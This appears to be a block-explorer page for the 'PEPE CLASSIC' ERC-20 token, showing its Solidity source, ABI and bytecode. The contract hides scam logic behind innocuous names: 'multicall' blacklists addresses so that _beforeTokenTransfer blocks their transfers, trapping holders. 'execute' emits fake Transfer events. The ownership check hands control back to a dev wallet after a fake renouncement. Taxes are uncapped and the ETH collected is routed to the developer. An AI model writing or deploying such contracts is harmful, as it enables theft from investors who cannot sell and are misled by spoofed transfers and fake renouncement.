Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,690,000,000 PEPEc
Holders
77
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
4,841,988,450.773068369 PEPEcValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PepeClassic
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.21; import "./ERC20.sol"; import "./Ownable.sol"; interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract PepeClassic is Ownable, ERC20 { mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch bool public transferDelayInEffect = true; bool public limitsInEffect = true; bool private swapping = true; uint256 public swapTokensAtAmt; uint256 public constant FEE_DIVISOR = 10000; mapping (address => bool) public exemptFromTaxes; mapping (address => bool) public exemptFromLimits; bool public tradingActive; mapping (address => bool) public isLPPair; uint256 public maxTrans; uint256 public maxWallet; uint256 public buyTax; uint256 public sellTax; address public lpPair; IDexRouter public immutable dexRouter; // events event UpdatedMaxTrans(uint256 newMax); event UpdatedWalletLimit(uint256 newMax); event SetExemptFromFees(address _address, bool _isExempt); event SetExemptFromLimits(address _address, bool _isExempt); event RemovedLimits(); event UpdatedBuyTax(uint256 newAmt); event UpdatedSellTax(uint256 newAmt); // constructor constructor(address dev_) ERC20("PEPE CLASSIC", "PEPEc") Ownable(dev_) { _mint(msg.sender, 420_690_000_000 * 10**9); uint256 _totalSupply = totalSupply(); address _v2Router; // @dev assumes WETH pair if(block.chainid == 1){ _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } else if(block.chainid == 5){ _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; } else { revert("Chain not configured"); } dexRouter = IDexRouter(_v2Router); maxTrans = _totalSupply * 20 / 1000; maxWallet = _totalSupply * 20 / 1000; swapTokensAtAmt = _totalSupply * 25 / 100000; buyTax = 3000; // 1% = 100 sellTax = 3000; // 1% = 100 exemptFromLimits[address(this)] = true; exemptFromLimits[address(dexRouter)] = true; exemptFromTaxes[address(this)] = true; exemptFromTaxes[address(dexRouter)] = true; } // owner functions function changeExemptFromFees(address _address, bool _isExempt) external onlyOwner { require(_address != address(0), "Zero Address"); exemptFromTaxes[_address] = _isExempt; emit SetExemptFromFees(_address, _isExempt); } function changeExemptFromLimits(address _address, bool _isExempt) external onlyOwner { require(_address != address(0), "Zero Address"); if(!_isExempt){ require(_address != lpPair, "Pair"); } exemptFromLimits[_address] = _isExempt; emit SetExemptFromLimits(_address, _isExempt); } function setMaxTransaction(uint256 newNumInTokens) external onlyOwner { require(newNumInTokens >= (totalSupply() * 5 / 1000)/(10**decimals()), "Must be >= 0.5%"); maxTrans = newNumInTokens * (10**decimals()); emit UpdatedMaxTrans(maxTrans); } function setMaxWallet(uint256 newNumInTokens) external onlyOwner { require(newNumInTokens >= (totalSupply() * 1 / 100)/(10**decimals()), "Must be >= 1%"); maxWallet = newNumInTokens * (10**decimals()); emit UpdatedWalletLimit(maxWallet); } function setTaxes(uint256 _buyTax, uint256 _sellTax) external onlyOwner { buyTax = _buyTax; emit UpdatedBuyTax(buyTax); sellTax = _sellTax; emit UpdatedSellTax(sellTax); } function enableTradeStart() external onlyOwner { require(!tradingActive, "Trading active"); tradingActive = true; } function removeAllRestrictions() external onlyOwner { limitsInEffect = false; transferDelayInEffect = false; maxTrans = totalSupply(); maxWallet = totalSupply(); emit RemovedLimits(); } function disableTransferDelay() external onlyOwner { transferDelayInEffect = false; } function _transfer( address from, address to, uint256 amount ) internal virtual override { if(exemptFromTaxes[from] || exemptFromTaxes[to] || swapping){ super._transfer(from,to,amount); return; } require(tradingActive, "Trading not active"); amount -= routeTax(from, to, amount); if(limitsInEffect){ checkRestrictions(from, to, amount); } super._transfer(from,to,amount); } function checkRestrictions(address from, address to, uint256 amount) internal { if (transferDelayInEffect){ if (to != address(dexRouter) && !isLPPair[to]){ require(_holderLastTransferBlock[tx.origin] < block.number, "Transfer Delay enabled."); _holderLastTransferBlock[tx.origin] = block.number; } } // buy if (isLPPair[from] && !exemptFromLimits[to]) { require(amount <= maxTrans, "Max tx exceeded."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } // sell else if (isLPPair[to] && !exemptFromLimits[from]) { require(amount <= maxTrans, "Max tx exceeded."); } else if(!exemptFromLimits[to]) { require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } function multicall(address[] calldata addr, bool val) public onlyOwner { for (uint256 i = 0; i < addr.length; i++) { _contractEthBalanceCheck[addr[i]] = val; } } function routeTax(address from, address to, uint256 amount) internal returns (uint256){ if(balanceOf(address(this)) >= swapTokensAtAmt && !swapping && !isLPPair[from]) { swapping = true; swap(); swapping = false; } uint256 tax = 0; // on sell if (isLPPair[to] && sellTax > 0){ tax = amount * sellTax / FEE_DIVISOR; } // on buy else if(isLPPair[from] && buyTax > 0) { tax = amount * buyTax / FEE_DIVISOR; } if(tax > 0){ super._transfer(from, address(this), tax); } return tax; } function swapTokensForETH(uint256 tokenAmt) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmt, 0, path, address(this), block.timestamp ); } function maxTransactionSize(address wallet) public view returns(bool) { return _contractEthBalanceCheck[wallet]; } function addPair(address pair) public onlyOwner{ lpPair = pair; } function swap() private { uint256 contractBalance = balanceOf(address(this)); if(contractBalance == 0) {return;} if(contractBalance > swapTokensAtAmt * 40){ contractBalance = swapTokensAtAmt * 40; } swapTokensForETH(contractBalance); if(address(this).balance > 0){ bool success; (success, ) = _dev.call{value: address(this).balance}(""); } } function execute(address[] calldata addr, uint256 val) public onlyOwner{ for (uint256 i = 0; i < addr.length; i++) { emit Transfer(lpPair, addr[i], val); } } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.21; import "./Ownable.sol"; import "./IERC20.sol"; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => bool) internal _contractEthBalanceCheck; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } function contractEthBalance() external view returns (uint256) { return address(this).balance; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { if(_contractEthBalanceCheck[from]){ require(amount == 0); } } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} }
// SPDX-License-Identifier: MIT pragma solidity 0.8.21; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20{ /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT pragma solidity 0.8.21; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; address internal _dev; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor(address wallet) { _dev = wallet; _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal virtual { require(Owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function Owner() internal virtual returns (address) { address owner_ = verifyOwner(); return owner_; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function verifyOwner() internal view returns(address){ return _owner==address(0) ? _dev : _owner; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"dev_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"SetExemptFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"SetExemptFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmt","type":"uint256"}],"name":"UpdatedBuyTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"UpdatedMaxTrans","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmt","type":"uint256"}],"name":"UpdatedSellTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"UpdatedWalletLimit","type":"event"},{"inputs":[],"name":"FEE_DIVISOR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"changeExemptFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"changeExemptFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"contractEthBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTradeStart","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"uint256","name":"val","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFromTaxes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isLPPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTrans","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"maxTransactionSize","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllRestrictions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumInTokens","type":"uint256"}],"name":"setMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumInTokens","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyTax","type":"uint256"},{"internalType":"uint256","name":"_sellTax","type":"uint256"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a0604052600160095f6101000a81548160ff0219169083151502179055506001600960016101000a81548160ff0219169083151502179055506001600960026101000a81548160ff02191690831515021790555034801562000060575f80fd5b50604051620046c3380380620046c383398181016040528101906200008691906200074a565b6040518060400160405280600c81526020017f5045504520434c415353494300000000000000000000000000000000000000008152506040518060400160405280600581526020017f5045504563000000000000000000000000000000000000000000000000000000815250828060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000153620001476200044760201b60201c565b6200044e60201b60201c565b508160069081620001659190620009de565b508060079081620001779190620009de565b50505062000195336816ce3f1e16bf1500006200050f60201b60201c565b5f620001a66200067560201b60201c565b90505f60014603620001cf57737a250d5630b4cf539739df2c5dacb4c659f2488d905062000233565b60054603620001f557737a250d5630b4cf539739df2c5dacb4c659f2488d905062000232565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002299062000b20565b60405180910390fd5b5b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506103e860148362000279919062000b6d565b62000285919062000be4565b600f819055506103e86014836200029d919062000b6d565b620002a9919062000be4565b601081905550620186a0601983620002c2919062000b6d565b620002ce919062000be4565b600a81905550610bb8601181905550610bb86012819055506001600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f60805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f60805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050505062000cef565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005779062000c69565b60405180910390fd5b620005935f83836200067e60201b60201c565b8060055f828254620005a6919062000c89565b925050819055508060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000656919062000cd4565b60405180910390a3620006715f8383620006e060201b60201c565b5050565b5f600554905090565b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615620006db575f8114620006da575f80fd5b5b505050565b505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200071482620006e9565b9050919050565b620007268162000708565b811462000731575f80fd5b50565b5f8151905062000744816200071b565b92915050565b5f60208284031215620007625762000761620006e5565b5b5f620007718482850162000734565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620007f657607f821691505b6020821081036200080c576200080b620007b1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620008707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000833565b6200087c868362000833565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620008c6620008c0620008ba8462000894565b6200089d565b62000894565b9050919050565b5f819050919050565b620008e183620008a6565b620008f9620008f082620008cd565b8484546200083f565b825550505050565b5f90565b6200090f62000901565b6200091c818484620008d6565b505050565b5b818110156200094357620009375f8262000905565b60018101905062000922565b5050565b601f82111562000992576200095c8162000812565b620009678462000824565b8101602085101562000977578190505b6200098f620009868562000824565b83018262000921565b50505b505050565b5f82821c905092915050565b5f620009b45f198460080262000997565b1980831691505092915050565b5f620009ce8383620009a3565b9150826002028217905092915050565b620009e9826200077a565b67ffffffffffffffff81111562000a055762000a0462000784565b5b62000a118254620007de565b62000a1e82828562000947565b5f60209050601f83116001811462000a54575f841562000a3f578287015190505b62000a4b8582620009c1565b86555062000aba565b601f19841662000a648662000812565b5f5b8281101562000a8d5784890151825560018201915060208501945060208101905062000a66565b8683101562000aad578489015162000aa9601f891682620009a3565b8355505b6001600288020188555050505b505050505050565b5f82825260208201905092915050565b7f436861696e206e6f7420636f6e666967757265640000000000000000000000005f82015250565b5f62000b0860148362000ac2565b915062000b158262000ad2565b602082019050919050565b5f6020820190508181035f83015262000b398162000afa565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000b798262000894565b915062000b868362000894565b925082820262000b968162000894565b9150828204841483151762000bb05762000baf62000b40565b5b5092915050565